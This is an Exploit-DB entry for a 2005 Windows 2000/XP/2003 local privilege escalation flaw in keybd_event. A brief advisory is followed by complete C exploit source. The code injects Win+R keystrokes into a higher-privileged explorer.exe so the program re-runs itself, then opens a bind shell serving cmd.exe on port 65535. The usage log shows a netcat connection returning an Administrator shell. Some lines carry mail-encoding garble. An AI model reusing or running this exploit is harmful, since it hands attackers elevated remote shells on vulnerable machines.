Microsoft Windows XP/2000/2003 - Keyboard Event Privilege Escalation

EDB-ID:

26222

CVE:

N/A




Platform:

Windows

Date:

2005-08-06


// source: https://www.securityfocus.com/bid/14743/info

Microsoft Windows is prone to a privilege escalation weakness. This issue is due to a design error when desktop applications handle keyboard events sent through the keybd_event() function. The specific issue is that programs may send keyboard events to higher privileged desktop applications.

This poses a local security risk as malicious keyboard events may be sent to a desktop application such as 'explorer.exe' that is running as a higher privileged user. These keyboard events will be interpreted in the context of the target user. This issue could likely be abused after exploitation of a latent remote code execution vulnerability in a service to elevate privileges. In this scenario, a user with higher privileges than the service must be logged into the desktop. 

/*
* Microsoft Windows keybd_event validation vulnerability.
* Local privilege elevation
*
* Credits: Andres Tarasco ( aT4r _@_ haxorcitos.com <http://haxorcitos.com>=
)
* I=F1aki Lopez ( ilo _@_ reversing.org <http://reversing.org> )
*
* Platforms afected/tested:
*
* - Windows 2000
* - Windows XP
* - Windows 2003
*
*
* Original Advisory: http://www.haxorcitos.com
* http://www.reversing.org=20
*
* Exploit Date: 08 / 06 / 2005
*
* Orignal Advisory:
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
*
* Attack Scenario:
*
* a) An attacker who gains access to an unprivileged shell/application=20
executed
* with the application runas.
* b) An attacker who gains access to a service with flags=20
INTERACT_WITH_DESKTOP
*
* Impact:
*
* Due to an invalid keyboard input validation, its possible to send keys to=
=20
any
* application of the Desktop.
* By sending some short-cut keys its possible to execute code and elevate=
=20
privileges
* getting loggued user privileges and bypass runas/service security=20
restriction.
*
* Exploit usage:
*
* C:\>whoami
* AQUARIUS\Administrador
*
* C:\>runas /user:restricted cmd.exe
* Enter the password for restricted:
* Attempting to start cmd.exe as user "AQUARIUS\restricted" ...
*
*
* Microsoft Windows 2000 [Versi=F3n 5.00.2195]
* (C) Copyright 1985-2000 Microsoft Corp.
*
* C:\WINNT\system32>cd \
*
* C:\>whoami
* AQUARIUS\restricted
*
* C:\>tlist.exe |find "explorer.exe"
* 1140 explorer.exe Program Manager
*
* C:\>c:\keybd.exe 1140
* HANDLE Found. Attacking =)
*
* C:\>nc localhost 65535
* Microsoft Windows 2000 [Versi=F3n 5.00.2195]
* (C) Copyright 1985-2000 Microsoft Corp.
*
* C:\>whoami
* whoami
* AQUARIUS\Administrador
*
*
* DONE =)
*
*/

#include <stdio.h>
#include <string.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")

#define HAXORCITOS 65535
unsigned int pid = 0;
char buf[256]="";

/**************************************************************/
void ExplorerExecution (HWND hwnd, LPARAM lParam){
DWORD hwndid;
int i;


GetWindowThreadProcessId(hwnd,&hwndid);

if (hwndid == pid){
/*
Replace keybd_event with SendMessage() and PostMessage() calls=20
*/
printf("HANDLE Found. Attacking =)\n");
SetForegroundWindow(hwnd);
keybd_event(VK_LWIN,1,0,0);
keybd_event(VkKeyScan('r'),1,0,0);
keybd_event(VK_LWIN,1,KEYEVENTF_KEYUP,0);
keybd_event(VkKeyScan('r'),1,KEYEVENTF_KEYUP,0);
for(i=0;i<strlen(buf);i++) {
if (buf[i]==':') {
keybd_event(VK_SHIFT,1,0,0);
keybd_event(VkKeyScan(buf[i]),1,0,0);
keybd_event(VK_SHIFT,1,KEYEVENTF_KEYUP,0);
keybd_event(VkKeyScan(buf[i]),1,KEYEVENTF_KEYUP,0);
} else {
if (buf[i]=='\\') {
keybd_event(VK_LMENU,1,0,0);
keybd_event(VK_CONTROL,1,0,0);
keybd_event(VkKeyScan('=BA'),1,0,0);
keybd_event(VK_LMENU,1,KEYEVENTF_KEYUP,0);
keybd_event(VK_CONTROL,1,KEYEVENTF_KEYUP,0);
keybd_event(VkKeyScan('=BA'),1,KEYEVENTF_KEYUP,0);
} else {
keybd_event(VkKeyScan(buf[i]),1,0,0);
keybd_event(VkKeyScan(buf[i]),1,KEYEVENTF_KEYUP,0);
}
}
}
keybd_event(VK_RETURN,1,0,0);
keybd_event(VK_RETURN,1,KEYEVENTF_KEYUP,0);
exit(1);
}
}
/**************************************************************/

int BindShell(void) { //Bind Shell. POrt 65535

SOCKET s,s2;
STARTUPINFO si;
PROCESS_INFORMATION pi;
WSADATA HWSAdata;
struct sockaddr_in sa;
int len;

if (WSAStartup(MAKEWORD(2,2), &HWSAdata) != 0) { exit(1); }
if ((s=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,0,0,0))==INVALID_SOC=
KET){=20
exit(1); }

sa.sin_family = AF_INET;
sa.sin_port = (USHORT)htons(HAXORCITOS);
sa.sin_addr.s_addr = htonl(INADDR_ANY);
len=sizeof(sa);
if ( bind(s, (struct sockaddr *) &sa, sizeof(sa)) == SOCKET_ERROR ) {=
=20
return(-1); }
if ( listen(s, 1) == SOCKET_ERROR ) { return(-1); }
s2 = accept(s,(struct sockaddr *)&sa,&len);
closesocket(s);

ZeroMemory( &si, sizeof(si) ); ZeroMemory( &pi, sizeof(pi) );
si.cb = sizeof(si);
si.wShowWindow = SW_HIDE;
si.dwFlags =STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.hStdInput = (void *) s2; // SOCKET
si.hStdOutput = (void *) s2;
si.hStdError = (void *) s2;
if (!CreateProcess( NULL ,"cmd.exe",NULL, NULL,TRUE, 0,NULL,NULL,&si,&pi)) =
{
doFormatMessage(GetLastError());
return(-1);
}

WaitForSingleObject( pi.hProcess, INFINITE );
closesocket(s);
closesocket(s2);
printf("SALIMOS...\n");
Sleep(5000);
return(1);


}
/**************************************************************/
void main(int argc, char* argv[])
{
HWND console_wnd = NULL;

if (argc >= 2) {
pid = atoi (argv[1]);
strncpy(buf,argv[0],sizeof(buf)-1);
EnumWindows((WNDENUMPROC)ExplorerExecution,(long)(&console_wnd));
} else {
BindShell();
}
}
/**************************************************************/